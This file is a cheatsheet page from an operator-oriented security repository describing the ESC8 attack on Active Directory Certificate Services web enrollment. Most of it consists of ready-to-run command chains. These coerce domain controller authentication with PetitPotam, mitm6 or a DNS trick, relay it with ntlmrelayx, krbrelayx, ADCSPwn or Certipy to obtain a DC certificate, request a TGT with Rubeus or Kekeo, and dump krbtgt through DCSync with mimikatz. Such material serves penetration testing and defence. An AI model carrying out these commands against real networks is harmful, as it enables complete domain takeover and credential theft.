daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ad-adcs-esc08.md (6711B)


      1 ---
      2 title: "Active Directory - Certificate ESC8"
      3 section: "Active Directory"
      4 sectionSlug: "active-directory"
      5 sourcePath: "docs/active-directory/ad-adcs-esc08.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-esc08.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Active Directory - Certificate ESC8
     12 
     13 ## Web Enrollment Endpoint
     14 
     15 Probe the endpoint by sending a request to:
     16 
     17 ```text
     18 http://<webserver-ip>/certsrv/certfnsp.aspx
     19 ```
     20 
     21 A valid enrollment endpoint will respond with NTLM/Negotiate authentication headers (`WWW-Authenticate`).
     22 
     23 The Web Enrollment role does **not** need to run on the CA itself; it can be hosted on any IIS server configured for delegation to the target CA.
     24 
     25 In high-traffic environments, Web Enrollment is commonly deployed on a **dedicated IIS server** to offload traffic from the CA.
     26 
     27 > When CA Web Enrollment is installed on a non-CA server, that server acts as an **enrollment registration authority**. The target CA is selected by CA name or computer name. — [Microsoft Docs](https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/certificate-authority-web-enrollment#deployment-topology)
     28 
     29 ### Certipy Blind Spot
     30 
     31 Certipy **does not** enumerate Web Enrollment on remote IIS servers. It only inspects the CA host. It also does not verify whether a delegated Web Enrollment server is bound to the CA.
     32 
     33 ```js
     34 Web Enrollment
     35     HTTP
     36         Enabled: False
     37     HTTPS
     38         Enabled: False
     39 ```
     40 
     41 > `False` on both means the CA host is not running Web Enrollment but a separate IIS server may still expose it.
     42 
     43 ## ESC8 - Web Enrollment Relay
     44 
     45 > An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
     46 
     47 Require [SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket/pull/1101) PR #1101
     48 
     49 * **Version 1**: NTLM Relay + Rubeus + PetitPotam
     50 
     51   ```powershell
     52   impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
     53   impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
     54   # For a member server or workstation, the template would be "Computer".
     55   # Other templates: workstation, DomainController, Machine, KerberosAuthentication
     56 
     57   # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
     58   # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
     59   git clone https://github.com/topotam/PetitPotam
     60   python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
     61   python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
     62   python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
     63   python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
     64 
     65   # Use the certificate with rubeus to request a TGT
     66   Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
     67   Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
     68 
     69   # Now you can use the TGT to perform a DCSync
     70   mimikatz> lsadump::dcsync /user:krbtgt
     71   ```
     72 
     73 * **Version 2**: NTLM Relay + Mimikatz + Kekeo
     74 
     75   ```powershell
     76   impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
     77 
     78   # Mimikatz
     79   mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
     80 
     81   # Kekeo
     82   kekeo> base64 /input:on
     83   kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
     84 
     85   # Mimikatz
     86   mimikatz> lsadump::dcsync /user:krbtgt
     87   ```
     88 
     89 * **Version 3**: Kerberos Relay
     90 
     91   ```ps1
     92   # Setup the relay
     93   sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
     94 
     95   # Run mitm6
     96   sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
     97   ```
     98 
     99 * **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
    100 
    101   ```powershell
    102   https://github.com/bats3c/ADCSPwn
    103   adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
    104   adcspwn.exe --adcs cs.pwnlab.local
    105   adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
    106   adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
    107   adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
    108 
    109   # ADCSPwn arguments
    110   adcs            -       This is the address of the AD CS server which authentication will be relayed to.
    111   secure          -       Use HTTPS with the certificate service.
    112   port            -       The port ADCSPwn will listen on.
    113   remote          -       Remote machine to trigger authentication from.
    114   username        -       Username for non-domain context.
    115   password        -       Password for non-domain context.
    116   dc              -       Domain controller to query for Certificate Templates (LDAP).
    117   unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
    118   output          -       Output path to store base64 generated crt.
    119   ```
    120 
    121 * **Version 5**: Certipy ESC8
    122 
    123   ```ps1
    124   certipy relay -ca 172.16.19.100
    125   ```
    126 
    127 * **Version 6**: Kerberos Relay (self relay in case of only one DC)
    128 
    129   ```ps1
    130   # Add dns entry with the james forshaw's trick
    131   dnstool.py -u "domain.local\user" -p "password" -r "computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp
    132 
    133   # Coerce kerberos with petit potam on dns entry
    134   petitpotam.py -u 'user' -p 'password' -d domain.local 'computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' computer.domain.local
    135 
    136   # relay kerberos
    137   python3 krbrelayx.py -t 'http://computer.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'COMPUTER$' -ip 10.10.10.10
    138   ```
    139 
    140 ## References
    141 
    142 * [AD CS relay attack - practical guide - @exandroiddev - June 23, 2021](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
    143 * [ESC8s and Where to Find Them - Abdul Mhanni - March 27, 2026](https://www.abdulmhsblog.com/posts/esc8andfindingwebenrollmentendpoints/)
    144 * [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema - July 28, 2021](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)